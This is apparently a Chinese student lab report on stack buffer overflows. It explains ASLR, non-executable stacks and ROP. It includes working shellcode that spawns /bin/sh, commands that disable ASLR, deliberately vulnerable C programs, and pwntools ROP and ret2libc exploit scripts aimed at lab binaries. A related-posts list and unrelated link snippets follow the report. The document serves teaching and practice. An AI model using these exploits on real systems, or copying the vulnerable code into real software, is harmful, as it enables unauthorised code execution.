实践基础知识

1、ALSR

1、定义:

ASLR,全称为 Address Space Layout Randomization,地址空间布局随机化,它将进程的某些内存空间地址进行随机化来增大入侵者预测目的地址的难度,从而降低进程被成功入侵的风险。简而言之,就是在运行程序时通过随机化栈地址,从而减低攻击者猜测到关键代码运行地址的可能,降低被攻击的风险。

Linux 平台上 ASLR 分为 0,1,2 三级,用户可以通过一个内核参数 randomize_va_space 进行等级控制。它们对应的效果如下:

0:没有随机化。即关闭 ASLR。

1:保留的随机化。共享库、栈、mmap() 以及 VDSO 将被随机化。

2:完全的随机化。在 1 的基础上,通过 brk() 分配的内存空间也将被随机化。

2、演示:

用一个简单的代码演示一下ALSR对栈地址的影响,代码如下:

#include <stdio.h>
int main()
{
int a = 1;
printf("Address of a is %p, in stack\n", &a);
return 0;
}

编译运行(这里我的Linux系统默认开启了地址随机化);查询和开启地址随机化的命令:

echo "2" > /proc/sys/kernel/randomize_va_space
more /proc/sys/kernel/randomize_va_space

结果入下图:

1、运行结果:

2、地址随机化:

2、堆栈不可执行

1、定义:

通过使被攻击程序的数据段地址空间不可执行,从而使得攻击者不可能执行被植入被攻击程序输入缓冲区的代码,这种技术被称为非执行的缓冲区技术,即堆栈不可执行。实际上,绝大多数合法程序都是设置堆栈数据段不可执行,因为几乎所有合法程序都不会在堆栈中存放代码,这样既保证了安全性,又兼顾了程序使用。(演示放在实践内容中)

3。ROP

1、定义:

1.ROP全称为Retrun-oriented Programmming(面向返回的编程)是一种新型的基于代码复用技术的攻击,攻击者从已有的库或可执行文件中提取指令片段,构建恶意代码。

2.ROP攻击同缓冲区溢出攻击,格式化字符串漏洞攻击不同,是一种全新的攻击方式,它利用代码复用技术。

3.ROP的核心思想:

  • 攻击者扫描已有的动态链接库和可执行文件,提取出可以利用的指令片段(gadget),这些指令片段均以ret指令结尾,即用ret指令实现指令片段执行流的衔接。
  • 操作系统通过栈来进行函数的调用和返回。函数的调用和返回就是通过压栈和出栈来实现的。每个程序都会维护一个程序运行栈,栈为所有函数共享,每次函数调用,系统会分配一个栈桢给当前被调用函数,用于参数的传递、局部变量的维护、返回地址的填入等。栈帧是程序运行栈的一部分 ,在Linux中 ,通过%esp和 %ebp寄存器维护栈顶指针和栈帧的起始地址 ,%eip是程序计数器寄存器。
  • 而ROP攻击则是利用以ret结尾的程序片段 ,操作这些栈相关寄存器,控制程的流程,执行相应的gadget,实施攻击者预设目标 。

4.ROP不同于retum-to-libc攻击之处在于,R0P攻击以ret指令结尾的函数代码片段 ,而不是整个函数本身去完成预定的操作。

  • 从广义角度讲 ,return-to-libc攻击是ROP攻的特例。
  • 最初ROP攻击实现在x86体系结构下,随后扩展到各种体系结构.。
  • 与以往攻击技术不同的是,ROP恶意代码不包含任何指令,将自己的恶意代码隐藏在正常代码中。因而,它可以绕过W⊕X的防御技术。

实践准备

本次试验由于需要用到[ROPgadget](https://github.com/JonathanSalwan/ROPgadget/tree/master),所以需要提前安装pip,capstonepwntools安装命令如下:

sudo apt-get update
sudo apt-get install pip
sudo pip install capstone
pip install ropgadget
ROPgadget
pip install pwntools

安装完成后需重启虚拟机。

实践内容

1、基础攻击——关闭堆栈保护和地址随机化(32位)

1、参考实验一

2、堆栈不可执行演示(以pwn为例):

过程简述:

1、准备工作:

cp pwn1 5313
execstack -s 5313 //设置堆栈可执行
echo "0" > /proc/sys/kernel/randomize_va_space //关闭地址随机化

2、测试寻找溢出地址:

构造一个字符串作为测试输入,寻找进程号,gdb调试找到覆盖地址,构造playload,攻击成功:

perl -e 'print "\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x4\x3\x2\x1\x00"' > input_shellcode
(cat input_shellcode;cat) | ./5313
ps -ef | grep 5313
perl -e 'print "A" x 32;print "\x80\xd3\xff\xff\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00\xd3\xff\xff\x00"' > input_shellcode
(cat input_shellcode;cat) | ./5313

具体过程可参考试验一中的任务三

3、关闭堆栈可执行重复2中的操作(关闭堆栈可执行命令:execstack -c 文件名):



可以看出堆栈不可执行对于溢出攻击有一定的防范效果。

2、进阶实践——开启堆栈保护

1、原理简述

由上文可看出简单的在原本代码中利用堆栈溢出实施攻击的方法已经不可用了,所以我们利用ROP技术实施攻击。(基础知识里已经简绍了)这里用量组图简单解释一下:

1、核心原理:

攻击用的缓冲区 指向的内容 说明
ptr3内存地址3(高地址) system
ptr2内存地址2 /bin/sh
ptr1内存地址1(低地址) pop %rdi;retq 覆盖堆栈上的返回地址
填充内容 这部分内容主要是长度要合适,保证ptr1能覆盖到返回地址
  • 利用这个攻击buf覆盖堆栈
  • 当函数返回时,就会跳转到ptr1指向的指令
  • pop %rdi时,ESP/RSP指向的就是ptr2,结果就是ptr2被弹出到rdi中。然后ESP/RSP指向ptr3
  • 接下来执行retq时,就会跳转到当前ESP指向的内容,即ptr3指向的函数,system。system从RDI中取参数运行/bin/sh获得Shell。

2、具体操作:



说明:

gadget_addr指向的是程序中可以利用的小片段代码

bin_sh_addr指向的是字符串参数:'/bin/sh'

system_addr则指向system函数

1.程序运行到gadget_addr时(esp/rsp指向gadget_addr),接下来会跳转到小片段里执行命令,同时``esp/rsp+8(esp/rsp指向bin_sh_addr) 2.然后执行pop rdi/edi,将bin_sh_addr弹入edi/rdi寄存器中,同时esp/rsp + 8(esp/rsp指向system_addr) 3.执行return指令,因为这时esp/rsp是指向system_addr的,这时就会调用system函数,而参数是通过edi/rdi传递的,也就是会将/bin/sh传入,从而实现调用system('/bin/sh')```

2、开启堆栈不可执行关闭地址随机化

32位攻击:

1、开启堆栈不可执行:

execstack -c 5313

2、gdb调试

输入gdb ./5313之后,开始调试:

  • 先将在main处设置断点,然后运行程序

  • 输入print system查看system在内存中的位置,如图位置在0xf7e10980处

  • 输入print __libc_start_main查看__libc_start_main的位置,同时根据__libc_start_main的位置,找到/bin/sh的位置:0xf7f50aab

3、攻击:

由第二步得到的system和/bin/sh的位置,编写payload并注入

64位攻击:

1、测试代码编译:

#include <stdio.h>
#include <string.h> void vul(char *msg)
{
char buffer[64];
memcpy(buffer,msg,128);
return;
} int main()
{
puts("So plz give me your shellcode:");
char buffer[256];
memset(buffer,0,256);
read(0,buffer,256);
vul(buffer);
return 0;
}

使用命令gcc -g -ggdb -fno-stack-protector -no-pie a.c -o a产生可执行文件。这里解释一下:-fno-stack-protector在gcc编译中表示栈溢出检测。

2、查看加载的libc文件及地址:

ldd a

  • 得到libc版本为:libc.so.6
  • libc的加载地址libc_base = 0x00007f07ecbf2000
  • 同时将libc.so.6拷贝到a同级目录:cp /lib/x86_64-linux-gnu/libc.so.6 你的目录

3、利用ROPgadget寻找可使用的gadget片段:

ROPgadget --binary a --only "pop|ret"|grep rdi

4、编写攻击代码:

from pwn import *

p = process('./a')
p.recvuntil("shellcode:") elf = ELF('libc.so.6') system_in_libc = elf.symbols['system'] #system在libc文件里的偏移地址
#print hex(system_in_libc)
bin_sh_in_libc = next(elf.search('/bin/sh')) #/'bin/sh'字符串在libc里的偏移地址
#print hex(bin_sh_in_libc) libc_base = 0x00007f07ecbf2000 #libc加载的基址
gadget_addr = 0x000000000040123b #搜索到的gadget片段的地址
system_addr = libc_base + system_in_libc #system在程序里的地址
bin_sh_addr = libc_base + bin_sh_in_libc #/bin/sh在程序里的地址 print hex(system_addr) +'----'+hex(bin_sh_addr) #布局
buf = 'A'*72
buf += p64(gadget_addr)
buf += p64(bin_sh_addr)
buf += p64(system_addr) with open('poc','wb') as f :
f.write(buf) p.sendline(buf) #开始溢出
p.interactive()

运行python b.py



可见攻击失败,推测可能是攻击代码有错漏,继续寻找解决方案。

重新开始:



成功获权,上一步未成功原因可能是地址寻找错误。

3、再次进阶——开启堆栈不可执行和地址随机化

1、原理:

1、绕过ASLR(地址随机化),泄露出libc的基址libc_base,然后利用Ret2libc或构造ROP链绕过NX(两者一次完成)
2、首先通过溢出返回至PLT表中,调用具有输出功能的函数(常用puts/write/printf)将GOT表中的真实libc函数地址打印出来,从而分析libc基地址。然后返回至漏洞函数二次触发溢出,此时便采取正常利用思路获得shell。
3、图文简述:



返回地址return_addr被覆盖为puts@plt地址,当运行到原返回地址位置时,会跳转到puts中执行,同时,esp指向esp+4,这时对puts来说,它内部的ret(返回地址)执行时esp指针还是指向esp+4的,也就是esp + 4(main)就是puts函数的返回地址,而esp+8(__libc_start_main@got.plt)则是它的参数。当调用puts时,__lic_start_main作为参数传入,这样我们就可以获得__libc_start_main在程序中的加载地址,当puts返回时会回到main函数当中,从而实现堆漏洞的二次利用。

2、攻击:

1、objdump -R pwn02查看__lic_start_main地址(0x0804bfd8 ):

2、objdump -d pwn02查找puts@plt(0x08048868)和main( 0x80496d1)



3、编写代码攻击:
from pwn import *
r = process('./pwn02') def overflow(data):
r.recvuntil('Your choice: ')
r.sendline('3')
r.recvuntil('):')
r.sendline('+')
r.recvuntil('):')
r.sendline('1 2')
r.recvuntil('input your id')
r.sendline(data) buf = 'A' * 44
buf += p32(0x08048868)
buf += p32(0x080496d1)
buf += p32(0x0804bfd8)
overflow(buf) r.recvuntil('...\n')
leak_message = r.recv(4)
print repr(leak_message)
leak_value = u32(leak_message)
print 'leak_value is ' + hex(leak_value) libc_base =leak_value - 0x000198B0
system_addr = libc_base + 0x0003D7E0
sh_addr = libc_base + 0x0017c968 buf = 'A' * 44
buf += p32(system_addr)
buf += p32(0xdeadbeef)
buf += p32(sh_addr)
overflow(buf) r.interactive()



攻击失败,重新尝试。

重新搭建环境并实践

这次参考的是:参考资料

漏洞代码:

include <stdio.h>
#include <string.h>
/* Eventhough shell() function isnt invoked directly, its needed here since 'system@PLT' and 'exit@PLT' stub code should be present in executable to successfully exploit it. */
void shell() {
system("/bin/sh");
exit(0);
}
int main(int argc, char* argv[]) {
int i=0;
char buf[256];
strcpy(buf,argv[1]);
printf("%s\n",buf);
return 0;
}



反汇编可见,其本身就有可利用的PLT代码(本身不因ALSR发生变化),因此可直接利用其获权。即直接利用一个在执行前就知道地址的获权函数。

实践感想

本身的水平有限,做出来的结果并不是那么合乎要求。但通过这次实践,我还是收获不少,最重要的是,我逐渐学会了如何独自了解学习自己从来不了解的的知识,这对我的帮助无疑是最大的,继续努力。

20165313-bof进阶的更多相关文章

  1. 20145311 王亦徐《网络对抗技术》 逆向及BOF进阶实践

    20145311<网络对抗技术>逆向及BOF进阶实践 学习目的 shellcode注入:shellcode实际是一段代码,但却作为数据发送给受攻击服务器,将代码存储到对方的堆栈中,并将堆栈 ...

  2. 20155213免考项目——bof进阶及简易的HIDAttack

    20155213免考项目--bof进阶及简易的HIDAttack 目录 序 任务一:构造Shellcode(64位) 任务二:64位Shellcode的注入 任务三:32位及64位bof攻击(开启堆栈 ...

  3. 20145216史婧瑶《网络对抗》逆向及Bof进阶实践

    20145216史婧瑶<网络对抗>逆向及Bof进阶实践 基础知识 Shellcode实际是一段代码,但却作为数据发送给受攻击服务器,将代码存储到对方的堆栈中,并将堆栈的返回地址利用缓冲区溢 ...

  4. #20145238荆玉茗《网络对抗》-逆向及Bof进阶实践

    20145238荆玉茗<网络对抗>-逆向及Bof进阶实践 实践目的:注入shellcode 准备一段shellcode代码 Shellcode实际是一段代码(也可以是填充数据),是用来发送 ...

  5. 20145217《网络对抗》 逆向及BOF进阶实践学习总结

    20145217<网络对抗> 逆向及BOF进阶实践学习总结 实践目的 1.注入shellcode 2.实现Return-to-libc攻击 知识点学习总结 Shellcode实际是一段代码 ...

  6. 20145222黄亚奇《网络对抗》 逆向及BOF进阶实践学习总结

    20145222<网络对抗> 逆向及BOF进阶实践学习总结 实践目的 1.注入shellcode 2.实现Return-to-libc攻击 知识点学习总结 Shellcode实际是一段代码 ...

  7. 《网络对抗》 逆向及Bof进阶实践

    <网络对抗> 逆向及Bof进阶实践 实践目标 注入一个自己制作的shellcode并运行这段shellcode: 实践步骤 准备工作 root@5224:~# apt-get instal ...

  8. 20145308 《网络对抗》 注入shellcode+Return-to-libc攻击 学习总结

    20145308 <网络对抗> 逆向及BOF进阶实践 注入shellcode+Return-to-libc攻击 学习总结 实践目的 注入shellcode 实现Return-to-libc ...

  9. 20155213免考项目——简易的HIDAttack

    20155213免考项目--简易的HIDAttack 听5214说他做不出来自己的免考项目,于是就转向bof进阶,并且成功做出了64位的ROP攻击...... 既然如此,那我就再做一个吧,但都已经期末 ...

  10. 逆向与Bof基础

    一逆向及Bof基础实践说明 实践目标 本次实践的对象是一个名为pwn1的linux可执行文件. 该程序正常执行流程是:main调用foo函数,foo函数会简单回显任何用户输入的字符串. 该程序同时包含 ...

随机推荐

  1. 【ELK】elasticsearch使用bulk 导入批量的数据集文件报错:Validation Failed: 1: no requests added

    执行命令如下: curl -XPOST http://192.168.6.16:9200/my_new_index/user/_bulk?pretty --data-binary @/cjf/es/e ...

  2. 缓存雪崩、穿透如何解决,如何确保Redis只缓存热点数据?

    缓存雪崩如何解决? 缓存穿透如何解决? 如何确保Redis缓存的都是热点数据? 如何更新缓存数据? 如何处理请求倾斜? 实际业务场景下,如何选择缓存数据结构 缓存雪崩 缓存雪崩简单说就是所有请求都从缓 ...

  3. C#专业的音视频采集录制类库SharpCapture介绍

    SharpCapture是高性能.轻量级.接口清晰.使用简单的C#语言编写的.NET音视频采集.屏幕录制类库.本类库可以采集系统声卡.麦克风.摄像头.屏幕画面,支持声卡和话筒混音采集. 可以应用到直播 ...

  4. JAVA中的四种JSON解析方式详解

    JAVA中的四种JSON解析方式详解 我们在日常开发中少不了和JSON数据打交道,那么我们来看看JAVA中常用的JSON解析方式. 1.JSON官方 脱离框架使用 2.GSON 3.FastJSON ...

  5. vulnhub AI: Web: 1

    vulnhub AI: Web: 1 提取flag攻略 导入虚拟机,开机. 扫描NAT的C段,确定虚拟机IP和开放端口. 尝试访问该网站 发现什么都没有,抽根烟冷静一下...... 来波目录扫描吧 使 ...

  6. vue多个路由使用同一个页面,通过name判断参数,渲染页面数据

    项目中,发现有多个页面的数据内容相同,只是请求数据的参数不同,就可以使用同一个组件来渲染 这里的客户列表 / 我负责的 / 我参与的 都使用同一个组件,不同点在请求数据的参数 可以看到,通过钩子函数, ...

  7. 微信小程序开发--flex详细解读

    一.结构:flex布局 是由一个大的容器加上多个子元素组成. <view class="container"> <view </view> <v ...

  8. React Navigation 导航栏样式调整+底部角标消息提示

    五一佳节匆匆而过,有人选择在外面看人山人海,有人选择宅在家中度过五一,也有人依然坚守在第一线,致敬! 这是坚持学习react-native的第二篇文章,可能会迟到,但是绝不会缺席,这篇要涉及到的是re ...

  9. JVM性能优化简介

    01. JVM是什么    概述:        大白话:             全称Java Virtual Machine(Java虚拟机), 它是一个虚构出来的计算机, 通过实际的计算机来模拟 ...

  10. python循环删除列表元素留一个问题

    https://www.cnblogs.com/baihualin/p/10698651.html 引用up